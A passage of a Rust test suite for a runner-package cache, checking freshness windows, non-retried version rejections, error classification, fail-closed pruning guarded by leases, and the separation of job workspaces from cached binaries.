3681            "expected an extraction failure, got {error:?}"
3682        );
3683
3684        let wrote = harness.fetcher.wrote();
3685        assert_eq!(wrote.len(), 1, "the download did happen");
3686        assert!(
3687            !wrote[0].exists(),
3688            "the verified-but-unusable download at {:?} must still be removed",
3689            wrote[0]
3690        );
3691        assert!(cache.installed().unwrap().is_empty());
3692
3693        // Whatever the half-extraction left is staging litter, and the sweep
3694        // clears it.
3695        let before = all_paths(cache.root());
3696        assert!(
3697            before.iter().all(|path| path.starts_with(".staging")),
3698            "only staging litter may survive; found {before:?}"
3699        );
3700        cache.sweep_staging().expect("a sweep");
3701        assert_eq!(
3702            all_paths(cache.root()),
3703            vec![".staging".to_string()],
3704            "the sweep empties staging, leaving only the directory itself"
3705        );
3706    }
3707
3708    // =====================================================================
3709    // DoD 5 — freshness, and the version rejection that must not retry.
3710    // =====================================================================
3711
3712    #[tokio::test]
3713    async fn a_cached_version_more_than_thirty_days_behind_is_refreshed_before_a_cold_start() {
3714        let (harness, _, _) = linux_fixture();
3715        let cache = harness.cache();
3716        let first = cache.ensure_installed().await.expect("the first install");
3717        assert_eq!(first.version(), &version("2.330.0"));
3718
3719        // A new release, and the cached entry is now past the deadline.
3720        let newer = tar_gz_bytes(&[("run.sh", "#!/bin/sh\necho newer\n")]);
3721        harness.catalog.publish(vec![published(
3722            "linux",
3723            "x64",
3724            "2.340.0",
3725            ".tar.gz",
3726            Some(&hex_digest(&newer)),
3727        )]);
3728        harness.fetcher.serve(newer);
3729        harness
3730            .clock
3731            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3732
3733        let second = cache.ensure_installed().await.expect("a refresh");
3734
3735        assert_eq!(second.version(), &version("2.340.0"));
3736        assert_eq!(harness.fetcher.count(), 2, "the newer package was fetched");
3737        assert_eq!(
3738            cache.installed().unwrap().len(),
3739            2,
3740            "the old entry is not removed by a refresh; pruning is a separate, \
3741             guarded decision"
3742        );
3743    }
3744
3745    #[tokio::test]
3746    async fn a_cached_version_inside_the_window_is_not_re_downloaded() {
3747        // The other half of the rule, and the one that keeps a 150-300 MB
3748        // download from following every point release.
3749        let (harness, _, _) = linux_fixture();
3750        let cache = harness.cache();
3751        cache.ensure_installed().await.expect("the first install");
3752
3753        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
3754        harness.catalog.publish(vec![published(
3755            "linux",
3756            "x64",
3757            "2.340.0",
3758            ".tar.gz",
3759            Some(&hex_digest(&newer)),
3760        )]);
3761        harness.fetcher.serve(newer);
3762        harness
3763            .clock
3764            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS - 1));
3765
3766        let second = cache.ensure_installed().await.expect("the cached entry");
3767
3768        assert_eq!(second.version(), &version("2.330.0"));
3769        assert_eq!(harness.fetcher.count(), 1, "nothing new was downloaded");
3770    }
3771
3772    #[tokio::test]
3773    async fn the_freshness_boundary_is_the_documented_thirty_days() {
3774        let (harness, _, _) = linux_fixture();
3775        let cache = harness.cache();
3776        let installed = cache.ensure_installed().await.expect("an install");
3777        let installed_at = installed.installed_at();
3778
3779        assert!(!cache.is_stale(&installed, installed_at));
3780        assert!(!cache.is_stale(
3781            &installed,
3782            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS)
3783        ));
3784        assert!(cache.is_stale(
3785            &installed,
3786            installed_at + Elapsed::days(FRESHNESS_WINDOW_DAYS) + Elapsed::seconds(1)
3787        ));
3788    }
3789
3790    #[tokio::test]
3791    async fn the_published_version_is_re_checked_only_on_a_bounded_interval() {
3792        let (harness, _, _) = linux_fixture();
3793        let cache = harness.cache();
3794        cache.ensure_installed().await.expect("the first install");
3795        assert_eq!(harness.catalog.calls(), 1);
3796
3797        // Inside the interval: no REST call at all.
3798        harness
3799            .clock
3800            .advance(Elapsed::hours(CHECK_INTERVAL_HOURS - 1));
3801        cache.ensure_installed().await.expect("a cached answer");
3802        assert_eq!(
3803            harness.catalog.calls(),
3804            1,
3805            "a cold start inside the interval must not re-check"
3806        );
3807
3808        // Past it: one more.
3809        harness.clock.advance(Elapsed::hours(2));
3810        cache.ensure_installed().await.expect("a re-check");
3811        assert_eq!(harness.catalog.calls(), 2);
3812    }
3813
3814    #[tokio::test]
3815    async fn a_stale_entry_forces_a_re_check_even_inside_the_interval() {
3816        // The interval saves REST budget; there is no budget worth saving once
3817        // the package on disk is one GitHub may refuse.
3818        let (harness, _, _) = linux_fixture();
3819        let cache = harness.cache();
3820        cache.ensure_installed().await.expect("an install");
3821        assert_eq!(harness.catalog.calls(), 1);
3822
3823        harness
3824            .clock
3825            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
3826        // The last check is now 31 days old, so it is due anyway; wind it
3827        // forward by re-checking, then step only a minute.
3828        cache.ensure_installed().await.expect("a re-check");
3829        let after_recheck = harness.catalog.calls();
3830        harness.clock.advance(Elapsed::minutes(1));
3831
3832        cache.ensure_installed().await.expect("another cold start");
3833
3834        assert_eq!(
3835            harness.catalog.calls(),
3836            after_recheck + 1,
3837            "a stale entry must be re-checked on every cold start, interval or not"
3838        );
3839    }
3840
3841    #[tokio::test]
3842    async fn a_version_rejection_is_terminal_and_produces_no_retry() {
3843        let (harness, _, _) = linux_fixture();
3844        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Rejected));
3845        // A budget of three, deliberately: if the rejection were treated as
3846        // retryable, the counter below would read three.
3847        let cache = harness.cache().with_retry_budget(3);
3848
3849        let error = cache.ensure_installed().await.unwrap_err();
3850
3851        assert!(
3852            matches!(error, PackageError::VersionRejected { .. }),
3853            "expected a version rejection, got {error:?}"
3854        );
3855        assert!(error.is_terminal());
3856        assert_eq!(
3857            error.failure_reason(),
3858            Some(FailureReason::RunnerVersionRejected),
3859            "the domain already names this; no second vocabulary"
3860        );
3861        assert!(
3862            error.operator_action().is_some(),
3863            "a terminal condition owes the operator an action"
3864        );
3865        assert!(
3866            error.to_string().contains("cannot succeed"),
3867            "the message must say retrying is pointless: `{error}`"
3868        );
3869        assert_eq!(
3870            harness.catalog.calls(),
3871            1,
3872            "a version rejection must be attempted exactly once"
3873        );
3874        assert_eq!(harness.fetcher.count(), 0);
3875    }
3876
3877    #[tokio::test]
3878    async fn a_retryable_catalog_failure_does_spend_the_whole_budget() {
3879        // The contrast that gives the assertion above its meaning: with the
3880        // same budget and the same code path, a retryable answer is retried
3881        // three times. Without this, "calls == 1" could just mean the retry
3882        // loop never worked at all.
3883        let (harness, _, _) = linux_fixture();
3884        let harness = harness.with_catalog(FakeCatalog::answering(Answer::Unavailable));
3885        let cache = harness.cache().with_retry_budget(3);
3886
3887        let error = cache.ensure_installed().await.unwrap_err();
3888
3889        assert!(matches!(error, PackageError::Exhausted { attempts: 3, .. }));
3890        assert_eq!(
3891            harness.catalog.calls(),
3892            3,
3893            "a retryable failure must spend the budget"
3894        );
3895        assert!(
3896            error.operator_action().is_none(),
3897            "the answer to a transient failure is to wait, not to act"
3898        );
3899    }
3900
3901    /// One `PackageError` variant's name, by an **exhaustive** match.
3902    ///
3903    /// This is the mechanism that keeps the classification table below honest.
3904    /// Two hand-written sample lists preceded it, and between them they omitted
3905    /// `Io` and `Exhausted` entirely — a new variant joined neither list and
3906    /// nothing complained. Adding a variant now stops this function compiling,
3907    /// which puts the author in front of the table, and the coverage assertion
3908    /// in `every_variant_is_classified_and_classification_matches_the_remedy`
3909    /// then fails until a sample joins it.
3910    fn variant_name(error: &PackageError) -> &'static str {
3911        match error {
3912            PackageError::UnsupportedHost(_) => "UnsupportedHost",
3913            PackageError::NoPackagePublished { .. } => "NoPackagePublished",
3914            PackageError::ChecksumAbsent { .. } => "ChecksumAbsent",
3915            PackageError::ChecksumMismatch { .. } => "ChecksumMismatch",
3916            PackageError::MalformedDigest { .. } => "MalformedDigest",
3917            PackageError::VersionRejected { .. } => "VersionRejected",
3918            PackageError::CatalogUnavailable { .. } => "CatalogUnavailable",
3919            PackageError::Download { .. } => "Download",
3920            PackageError::UnrecognisedVersion { .. } => "UnrecognisedVersion",
3921            PackageError::UnsupportedArchive { .. } => "UnsupportedArchive",
3922            PackageError::UnsafeArchiveEntry { .. } => "UnsafeArchiveEntry",
3923            PackageError::Extract { .. } => "Extract",
3924            PackageError::VersionInUse { .. } => "VersionInUse",
3925            PackageError::VersionHeldByUnknownAttempt { .. } => "VersionHeldByUnknownAttempt",
3926            PackageError::UnreadableLease { .. } => "UnreadableLease",
3927            PackageError::WorkspaceInsideCache { .. } => "WorkspaceInsideCache",
3928            PackageError::NotInstalled { .. } => "NotInstalled",
3929            PackageError::Io { .. } => "Io",
3930            PackageError::Exhausted { .. } => "Exhausted",
3931        }
3932    }
3933
3934    /// How many variants `variant_name` covers.
3935    ///
3936    /// Bumped by hand, and the assertion that uses it is what makes forgetting
3937    /// impossible to do quietly: a new variant that reaches `variant_name` but
3938    /// not the sample table fails the coverage check, and bumping this without
3939    /// adding a sample fails it too.
3940    const PACKAGE_ERROR_VARIANTS: usize = 19;
3941
3942    #[test]
3943    fn every_variant_is_classified_and_classification_matches_the_remedy() {
3944        // One table, every variant, each declaring what it should be. The two
3945        // separate lists this replaced could not express "these are all of
3946        // them", which is how `Io` and `Exhausted` went untested.
3947        let samples: Vec<(PackageError, bool)> = vec![
3948            (
3949                PackageError::Io {
3950                    what: "read",
3951                    path: PathBuf::from("x"),
3952                    source: io::Error::other("disk"),
3953                },
3954                false,
3955            ),
3956            (
3957                PackageError::Exhausted {
3958                    attempts: 3,
3959                    source: Box::new(PackageError::Download {
3960                        detail: "reset".to_string(),
3961                    }),
3962                },
3963                true,
3964            ),
3965            (
3966                PackageError::UnreadableLease {
3967                    path: PathBuf::from("x.lease"),
3968                },
3969                true,
3970            ),
3971            (
3972                PackageError::ChecksumMismatch {
3973                    version: version("2.330.0"),
3974                    expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
3975                    actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
3976                },
3977                false,
3978            ),
3979            (
3980                PackageError::CatalogUnavailable {
3981                    detail: "502".to_string(),
3982                },
3983                false,
3984            ),
3985            (
3986                PackageError::Download {
3987                    detail: "reset".to_string(),
3988                },
3989                false,
3990            ),
3991            (
3992                PackageError::Extract {
3993                    detail: "short read".to_string(),
3994                },
3995                false,
3996            ),
3997            (
3998                PackageError::UnsupportedHost(UnsupportedHost::UndocumentedPair {
3999                    os: Os::Windows,
4000                    arch: Arch::Arm32,
4001                }),
4002                true,
4003            ),
4004            (
4005                PackageError::NoPackagePublished {
4006                    os: Os::Linux,
4007                    arch: Arch::Arm32,
4008                },
4009                true,
4010            ),
4011            (
4012                PackageError::ChecksumAbsent {
4013                    version: version("2.330.0"),
4014                    os: Os::Linux,
4015                    arch: Arch::X64,
4016                    published: PublishedChecksum::Absent,
4017                },
4018                true,
4019            ),
4020            (
4021                PackageError::MalformedDigest {
4022                    raw: "nope".to_string(),
4023                },
4024                true,
4025            ),
4026            (
4027                PackageError::VersionRejected {
4028                    version: None,
4029                    detail: None,
4030                },
4031                true,
4032            ),
4033            (
4034                PackageError::UnrecognisedVersion {
4035                    raw: "nope".to_string(),
4036                },
4037                true,
4038            ),
4039            (
4040                PackageError::UnsupportedArchive {
4041                    filename: "x.rar".to_string(),
4042                },
4043                true,
4044            ),
4045            (
4046                PackageError::UnsafeArchiveEntry {
4047                    entry: "../x".to_string(),
4048                },
4049                true,
4050            ),
4051            (
4052                PackageError::VersionInUse {
4053                    version: version("2.330.0"),
4054                    attempt: fixtures::ATTEMPT_ID,
4055                    state: AttemptState::Busy,
4056                },
4057                true,
4058            ),
4059            (
4060                PackageError::VersionHeldByUnknownAttempt {
4061                    version: version("2.330.0"),
4062                    attempt: fixtures::ATTEMPT_ID,
4063                },
4064                true,
4065            ),
4066            (
4067                PackageError::WorkspaceInsideCache {
4068                    attempt: fixtures::ATTEMPT_ID,
4069                    path: PathBuf::from("x"),
4070                },
4071                true,
4072            ),
4073            (
4074                PackageError::NotInstalled {
4075                    version: version("2.330.0"),
4076                },
4077                true,
4078            ),
4079        ];
4080
4081        let covered: std::collections::BTreeSet<&'static str> = samples
4082            .iter()
4083            .map(|(error, _)| variant_name(error))
4084            .collect();
4085        assert_eq!(
4086            covered.len(),
4087            PACKAGE_ERROR_VARIANTS,
4088            "every variant needs a sample; covered {covered:?}"
4089        );
4090
4091        for (error, terminal) in samples {
4092            let name = variant_name(&error);
4093            assert_eq!(
4094                error.is_terminal(),
4095                terminal,
4096                "{name} is classified the wrong way"
4097            );
4098            // `03-control-flows.md` calls the terminal ones "operator-
4099            // actionable": every one must say what to do, and a retryable one
4100            // must not, because the answer there is to wait.
4101            //
4102            // `Exhausted` is the exception that proves the rule — it is
4103            // terminal and delegates both its action and its journal reason to
4104            // whatever the budget was spent on, so it has an action only when
4105            // that inner error does.
4106            if name == "Exhausted" {
4107                continue;
4108            }
4109            assert_eq!(
4110                error.operator_action().is_some(),
4111                terminal,
4112                "{name}: a terminal condition owes an action and a retryable one does not"
4113            );
4114        }
4115    }
4116
4117    #[test]
4118    fn a_removed_sample_is_caught_by_the_coverage_assertion() {
4119        // The coverage check above is the only thing standing between a new
4120        // variant and going untested, so it gets its own negative control.
4121        let short: Vec<PackageError> = vec![PackageError::NotInstalled {
4122            version: version("2.330.0"),
4123        }];
4124        let covered: std::collections::BTreeSet<&'static str> =
4125            short.iter().map(variant_name).collect();
4126        assert_ne!(
4127            covered.len(),
4128            PACKAGE_ERROR_VARIANTS,
4129            "an incomplete sample list must not satisfy the coverage check"
4130        );
4131    }
4132
4133    #[test]
4134    fn exhaustion_reports_the_reason_the_budget_was_spent_on() {
4135        let exhausted = PackageError::Exhausted {
4136            attempts: 3,
4137            source: Box::new(PackageError::ChecksumMismatch {
4138                version: version("2.330.0"),
4139                expected: Sha256Hex::parse(&"a".repeat(64)).unwrap(),
4140                actual: Sha256Hex::parse(&"b".repeat(64)).unwrap(),
4141            }),
4142        };
4143        assert!(exhausted.is_terminal(), "the budget is spent");
4144        assert_eq!(
4145            exhausted.failure_reason(),
4146            Some(FailureReason::RunnerPackageUnverified),
4147            "the journal reason comes from what actually failed"
4148        );
4149    }
4150
4151    // =====================================================================
4152    // DoD 6 — pruning refuses a version a non-terminal attempt references,
4153    // and succeeds once that attempt is terminal.
4154    // =====================================================================
4155
4156    /// An attempt in `state`, with a runtime under the runtime directory where
4157    /// `e3` will actually put it.
4158    fn attempt_in(harness: &Harness, id: u128, state: AttemptState) -> RunnerAttempt {
4159        let id = AttemptId::from_u128(id);
4160        let runtime = harness
4161            .paths
4162            .runtime_dir()
4163            .join(fixtures::POLICY_ID.to_string())
4164            .join(id.to_string());
4165        fixtures::attempt()
4166            .id(id)
4167            .state(state)
4168            .runtime_path(runtime.to_string_lossy().to_string())
4169            .build()
4170    }
4171
4172    async fn cache_with_one_entry(harness: &Harness) -> PackageCache {
4173        let cache = harness.cache();
4174        cache.ensure_installed().await.expect("an install");
4175        cache
4176    }
4177
4178    #[tokio::test]
4179    async fn pruning_refuses_a_version_a_non_terminal_attempt_references() {
4180        let (harness, _, _) = linux_fixture();
4181        let cache = cache_with_one_entry(&harness).await;
4182        let held = version("2.330.0");
4183
4184        // Every non-terminal state, because "non-terminal" is `b1`'s definition
4185        // and this guard must agree with it rather than with a hand-picked
4186        // subset.
4187        for state in AttemptState::ALL.iter().filter(|s| !s.is_terminal()) {
4188            let attempt = attempt_in(&harness, 0x100, *state);
4189            cache.lease(&attempt, &held).expect("a lease");
4190
4191            let error = cache
4192                .prune(&held, std::slice::from_ref(&attempt))
4193                .unwrap_err();
4194
4195            assert!(
4196                matches!(error, PackageError::VersionInUse { .. }),
4197                "state `{state}` should hold the version, got {error:?}"
4198            );
4199            assert!(error.is_terminal());
4200            assert!(error.operator_action().is_some());
4201            assert!(
4202                cache.entry(&held).unwrap().is_some(),
4203                "a refused prune must leave the entry in place"
4204            );
4205            cache.release(attempt.id).expect("release");
4206        }
4207    }
4208
4209    #[tokio::test]
4210    async fn pruning_succeeds_once_the_holding_attempt_is_terminal() {
4211        let (harness, _, _) = linux_fixture();
4212        let cache = cache_with_one_entry(&harness).await;
4213        let held = version("2.330.0");
4214
4215        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4216        cache.lease(&live, &held).expect("a lease");
4217        assert_eq!(cache.holders(&held).unwrap(), vec![live.id]);
4218
4219        // Refused while it is running...
4220        assert!(cache.prune(&held, std::slice::from_ref(&live)).is_err());
4221        let root = cache
4222            .entry(&held)
4223            .unwrap()
4224            .expect("still there")
4225            .root()
4226            .to_path_buf();
4227        assert!(root.is_dir());
4228
4229        // ...and allowed the moment the same attempt is terminal.
4230        for state in AttemptState::ALL.iter().filter(|s| s.is_terminal()) {
4231            let concluded = attempt_in(&harness, 0x100, *state);
4232            assert!(concluded.is_terminal());
4233            // Re-create the entry for each terminal state so each is a real
4234            // prune rather than a no-op on an already-empty cache.
4235            if cache.entry(&held).unwrap().is_none() {
4236                cache.ensure_installed().await.expect("re-install");
4237                cache.lease(&concluded, &held).expect("a lease");
4238            }
4239
4240            cache
4241                .prune(&held, std::slice::from_ref(&concluded))
4242                .unwrap_or_else(|error| panic!("state `{state}` should allow a prune: {error}"));
4243
4244            assert!(
4245                cache.entry(&held).unwrap().is_none(),
4246                "state `{state}` should have pruned the entry"
4247            );
4248            assert!(
4249                cache.holders(&held).unwrap().is_empty(),
4250                "a spent lease is released with the entry"
4251            );
4252        }
4253    }
4254
4255    #[tokio::test]
4256    async fn pruning_refuses_a_version_held_by_an_attempt_the_caller_did_not_report() {
4257        // `e1` documents that a launcher's newly created attempt may not be
4258        // visible to `attempts()` yet. Reading "absent" as "gone" would delete
4259        // a package out from under a starting runner, so the ambiguous case
4260        // fails closed.
4261        let (harness, _, _) = linux_fixture();
4262        let cache = cache_with_one_entry(&harness).await;
4263        let held = version("2.330.0");
4264        let attempt = attempt_in(&harness, 0x100, AttemptState::Starting);
4265        cache.lease(&attempt, &held).expect("a lease");
4266
4267        let error = cache.prune(&held, &[]).unwrap_err();
4268
4269        assert!(
4270            matches!(error, PackageError::VersionHeldByUnknownAttempt { .. }),
4271            "expected a fail-closed refusal, got {error:?}"
4272        );
4273        assert!(cache.entry(&held).unwrap().is_some());
4274        assert!(
4275            error
4276                .operator_action()
4277                .unwrap()
4278                .contains("release the lease"),
4279            "the refusal must name the way out, got `{}`",
4280            error.operator_action().unwrap()
4281        );
4282
4283        // And the named remedy works.
4284        cache.release(attempt.id).expect("release");
4285        cache.prune(&held, &[]).expect("a released version prunes");
4286        assert!(cache.entry(&held).unwrap().is_none());
4287    }
4288
4289    #[tokio::test]
4290    async fn a_corrupt_lease_refuses_a_prune_rather_than_vanishing() {
4291        // Everything else in this guard fails closed, including an attempt the
4292        // caller did not report. A lease file that cannot be parsed must not be
4293        // the one thing that fails open — "unreadable" is not "nothing holds
4294        // this version", and a lease is written non-atomically, so a crash
4295        // mid-write leaves exactly this shape.
4296        let (harness, _, _) = linux_fixture();
4297        let cache = cache_with_one_entry(&harness).await;
4298        let held = version("2.330.0");
4299        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4300        cache.lease(&live, &held).expect("a lease");
4301
4302        // Truncate it the way an interrupted write would.
4303        let lease_file = cache.lease_path(live.id);
4304        assert!(lease_file.is_file(), "the lease must exist to be corrupted");
4305        fs::write(&lease_file, b"{\"version\":\"2.33").expect("corrupt the lease");
4306
4307        let error = cache.prune(&held, &[]).unwrap_err();
4308
4309        assert!(
4310            matches!(error, PackageError::UnreadableLease { .. }),
4311            "expected a refusal naming the unreadable lease, got {error:?}"
4312        );
4313        assert!(error.is_terminal());
4314        assert!(error.operator_action().is_some());
4315        assert!(
4316            cache.entry(&held).unwrap().is_some(),
4317            "the package a live runner may be executing from must still be there"
4318        );
4319        // `holders` refuses for the same reason rather than answering "none".
4320        assert!(cache.holders(&held).is_err());
4321
4322        // And the named remedy works.
4323        fs::remove_file(&lease_file).unwrap();
4324        cache
4325            .prune(&held, &[])
4326            .expect("a resolved lease lets it proceed");
4327    }
4328
4329    #[test]
4330    fn a_lease_released_while_holders_is_listing_is_not_reported_as_corrupt() {
4331        // The three answers, including the race that cannot be produced from
4332        // outside `holders`: a lease file listed and then released before it is
4333        // read. Reporting that as corruption makes `prune` refuse for a reason
4334        // that is not true.
4335        let dir = tempfile::tempdir().expect("a temporary root");
4336        let held = version("2.330.0");
4337        let id = AttemptId::from_u128(0x100);
4338
4339        // Gone — released between the listing and the read.
4340        let missing = dir.path().join(format!("{id}.{LEASE_EXTENSION}"));
4341        assert!(!missing.exists());
4342        assert_eq!(
4343            holder_of(&missing, &held).expect("a released lease is not an error"),
4344            None
4345        );
4346
4347        // Present and readable, for this version and for another.
4348        fs::write(&missing, br#"{"version":"2.330.0"}"#).unwrap();
4349        assert_eq!(holder_of(&missing, &held).unwrap(), Some(id));
4350        assert_eq!(holder_of(&missing, &version("2.340.0")).unwrap(), None);
4351
4352        // Present and unintelligible — still fails closed.
4353        fs::write(&missing, b"{\"version\":\"2.33").unwrap();
4354        assert!(matches!(
4355            holder_of(&missing, &held),
4356            Err(PackageError::UnreadableLease { .. })
4357        ));
4358
4359        // Present, readable, but not named after an attempt.
4360        let anonymous = dir.path().join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4361        fs::write(&anonymous, br#"{"version":"2.330.0"}"#).unwrap();
4362        assert!(matches!(
4363            holder_of(&anonymous, &held),
4364            Err(PackageError::UnreadableLease { .. })
4365        ));
4366    }
4367
4368    #[tokio::test]
4369    async fn a_lease_file_that_is_not_named_after_an_attempt_refuses_a_prune() {
4370        let (harness, _, _) = linux_fixture();
4371        let cache = cache_with_one_entry(&harness).await;
4372        let held = version("2.330.0");
4373        let strays = cache.root().join(LEASES_DIR);
4374        fs::create_dir_all(&strays).unwrap();
4375        let stray = strays.join(format!("not-a-uuid.{LEASE_EXTENSION}"));
4376        fs::write(&stray, b"{\"version\":\"2.330.0\"}").unwrap();
4377
4378        let error = cache.prune(&held, &[]).unwrap_err();
4379
4380        assert!(
4381            matches!(error, PackageError::UnreadableLease { .. }),
4382            "a lease whose holder cannot be identified must refuse, got {error:?}"
4383        );
4384        assert!(cache.entry(&held).unwrap().is_some());
4385    }
4386
4387    #[tokio::test]
4388    async fn an_unreferenced_version_prunes_with_no_ceremony() {
4389        let (harness, _, _) = linux_fixture();
4390        let cache = cache_with_one_entry(&harness).await;
4391        let held = version("2.330.0");
4392
4393        cache.prune(&held, &[]).expect("nothing references it");
4394
4395        assert!(cache.entry(&held).unwrap().is_none());
4396        assert!(cache.installed().unwrap().is_empty());
4397    }
4398
4399    #[tokio::test]
4400    async fn one_attempts_lease_does_not_pin_another_version() {
4401        let (harness, _, _) = linux_fixture();
4402        let cache = cache_with_one_entry(&harness).await;
4403
4404        // A second version, so there are two entries and one lease.
4405        let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
4406        harness.catalog.publish(vec![published(
4407            "linux",
4408            "x64",
4409            "2.340.0",
4410            ".tar.gz",
4411            Some(&hex_digest(&newer)),
4412        )]);
4413        harness.fetcher.serve(newer);
4414        harness
4415            .clock
4416            .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
4417        cache.ensure_installed().await.expect("the newer install");
4418        assert_eq!(cache.installed().unwrap().len(), 2);
4419
4420        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4421        cache.lease(&live, &version("2.340.0")).expect("a lease");
4422
4423        // The held one is refused, the unheld one is not.
4424        assert!(
4425            cache
4426                .prune(&version("2.340.0"), std::slice::from_ref(&live))
4427                .is_err()
4428        );
4429        cache
4430            .prune(&version("2.330.0"), &[live])
4431            .expect("the unheld version prunes");
4432        assert_eq!(cache.installed().unwrap().len(), 1);
4433    }
4434
4435    #[tokio::test]
4436    async fn a_lease_outlives_the_cache_object_that_took_it() {
4437        // The guard is only meaningful if it survives a restart, so the lease
4438        // is a file rather than a field.
4439        let (harness, _, _) = linux_fixture();
4440        let held = version("2.330.0");
4441        let live = attempt_in(&harness, 0x100, AttemptState::Busy);
4442        {
4443            let cache = cache_with_one_entry(&harness).await;
4444            cache.lease(&live, &held).expect("a lease");
4445        }
4446
4447        let reopened = harness.cache();
4448        assert_eq!(reopened.holders(&held).unwrap(), vec![live.id]);
4449        assert!(reopened.prune(&held, &[live]).is_err());
4450    }
4451
4452    #[tokio::test]
4453    async fn releasing_a_lease_that_was_never_taken_is_not_an_error() {
4454        let (harness, _, _) = linux_fixture();
4455        let cache = cache_with_one_entry(&harness).await;
4456        cache
4457            .release(AttemptId::from_u128(0xdead))
4458            .expect("a cleanup path may release unconditionally");
4459    }
4460
4461    #[tokio::test]
4462    async fn leasing_a_version_that_is_not_installed_is_refused() {
4463        let (harness, _, _) = linux_fixture();
4464        let cache = cache_with_one_entry(&harness).await;
4465        let attempt = attempt_in(&harness, 0x100, AttemptState::Busy);
4466
4467        let error = cache.lease(&attempt, &version("9.9.9")).unwrap_err();
4468
4469        assert!(matches!(error, PackageError::NotInstalled { .. }));
4470    }
4471
4472    // =====================================================================
4473    // DoD 7 — job workspaces are never stored inside the package cache.
4474    // =====================================================================
4475
4476    #[tokio::test]
4477    async fn a_lease_refuses_a_workspace_inside_the_cache_and_accepts_one_outside_it() {
4478        // Both directions in one test, deliberately.
4479        //
4480        // Split across two tests, the refusal half stayed green through a
4481        // mutation that made the containment check answer `true` for
4482        // everything — a lease that refuses every workspace satisfies "inside
4483        // is refused" perfectly. The acceptance half is what makes the refusal
4484        // mean something, and a reviewer reading one test cannot miss it the
4485        // way a reviewer reading two can.
4486        let (harness, _, _) = linux_fixture();
4487        let cache = cache_with_one_entry(&harness).await;
4488        let held = version("2.330.0");
4489
4490        // Refused: the mistake this guard exists to catch is `e3` deriving a
4491        // runtime path from the cache entry it copied from.
4492        for inside in [
4493            cache.root().join("2.330.0").join("_work"),
4494            cache.root().join("workspaces").join("attempt-1"),
4495            cache.root().to_path_buf(),
4496        ] {
4497            let attempt = fixtures::attempt()
4498                .id(AttemptId::from_u128(0x100))
4499                .state(AttemptState::Busy)
4500                .runtime_path(inside.to_string_lossy().to_string())
4501                .build();
4502
4503            let error = cache.lease(&attempt, &held).unwrap_err();
4504
4505            assert!(
4506                matches!(error, PackageError::WorkspaceInsideCache { .. }),
4507                "`{}` is inside the cache and must be refused, got {error:?}",
4508                inside.display()
4509            );
4510            assert!(
4511                cache.holders(&held).unwrap().is_empty(),
4512                "a refused lease must not have been written"
4513            );
4514        }
4515
4516        // Accepted: a workspace where `d1` actually puts one.
4517        let proper = attempt_in(&harness, 0x100, AttemptState::Busy);
4518        cache
4519            .lease(&proper, &held)
4520            .expect("a runtime under the runtime directory is where it belongs");
4521        assert_eq!(cache.holders(&held).unwrap(), vec![proper.id]);
4522    }
4523
4524    #[test]
4525    fn the_runtime_directory_and_the_package_cache_are_disjoint_roots() {
4526        // Structural, and it holds for a layout nobody has created yet: `d1`
4527        // puts workspaces under `runtime/` and the retained package cache under
4528        // `state/`, so neither can contain the other.
4529        let dir = tempfile::tempdir().expect("a temporary root");
4530        let paths = AppPaths::rooted_at(dir.path());
4531        let cache_root = paths.state_dir().join(PACKAGES_DIR);
4532        let workspaces = paths.runtime_dir();
4533
4534        assert!(
4535            !is_inside(&cache_root, workspaces),
4536            "job workspaces must not live inside the package cache"
4537        );
4538        assert!(
4539            !is_inside(workspaces, &cache_root),
4540            "the package cache must not live inside the workspace root"
4541        );
4542        // And a concrete per-attempt workspace, the shape `e3` will build.
4543        let attempt_workspace = workspaces
4544            .join(fixtures::POLICY_ID.to_string())
4545            .join(fixtures::ATTEMPT_ID.to_string());
4546        assert!(!is_inside(&cache_root, &attempt_workspace));
4547    }
4548
4549    #[tokio::test]
4550    async fn installing_writes_nothing_under_the_runtime_directory() {
4551        let (harness, _, _) = linux_fixture();
4552        let cache = cache_with_one_entry(&harness).await;
4553
4554        assert!(
4555            all_paths(harness.paths.runtime_dir()).is_empty(),
4556            "the package cache must not create job workspaces: {:?}",
4557            all_paths(harness.paths.runtime_dir())
4558        );
4559        // Everything it did write is under the cache root.
4560        let written = all_paths(cache.root());
4561        assert!(
4562            written.iter().any(|path| path.starts_with("2.330.0")),
4563            "the entry should be there: {written:?}"
4564        );
4565    }
4566
4567    #[test]
4568    fn the_tool_cache_is_retained_beside_the_binaries_not_inside_an_entry() {
4569        // "Runner binaries and approved tool caches are retained separately
4570        // from job workspaces" — separately from workspaces, and separately
4571        // from the immutable entries, because a tool cache is written to.
4572        let dir = tempfile::tempdir().expect("a temporary root");
4573        let paths = AppPaths::rooted_at(dir.path());
4574        let cache = PackageCache::new(
4575            &paths,
4576            Os::Linux,
4577            Arch::X64,
4578            CachePorts {
4579                catalog: FakeCatalog::with(Vec::new()),
4580                fetcher: FakeFetcher::with(Vec::new()),
4581                backoff: Arc::new(NoBackoff),
4582                clock: Arc::new(FakeClock::default()),
4583            },
4584        );
4585
4586        assert!(
4587            !is_inside(cache.root(), cache.tool_cache_dir()),
4588            "a written-to tool cache must not sit inside the immutable entries"
4589        );
4590        assert!(
4591            !is_inside(paths.runtime_dir(), cache.tool_cache_dir()),
4592            "the tool cache is retained, not disposable with a workspace"
4593        );
4594        assert!(is_inside(paths.state_dir(), cache.tool_cache_dir()));
4595    }
4596
4597    // =====================================================================
4598    // Extraction
4599    // =====================================================================
4600
4601    #[tokio::test]
4602    async fn both_published_archive_formats_extract_on_every_platform() {
4603        for (extension, bytes) in [
4604            (".zip", zip_bytes(&package_entries())),
4605            (".tar.gz", tar_gz_bytes(&package_entries())),
4606        ] {
4607            let digest = hex_digest(&bytes);
4608            let harness = Harness::new(
4609                vec![published(
4610                    "linux",
4611                    "x64",
4612                    "2.330.0",
4613                    extension,
4614                    Some(&digest),
4615                )],
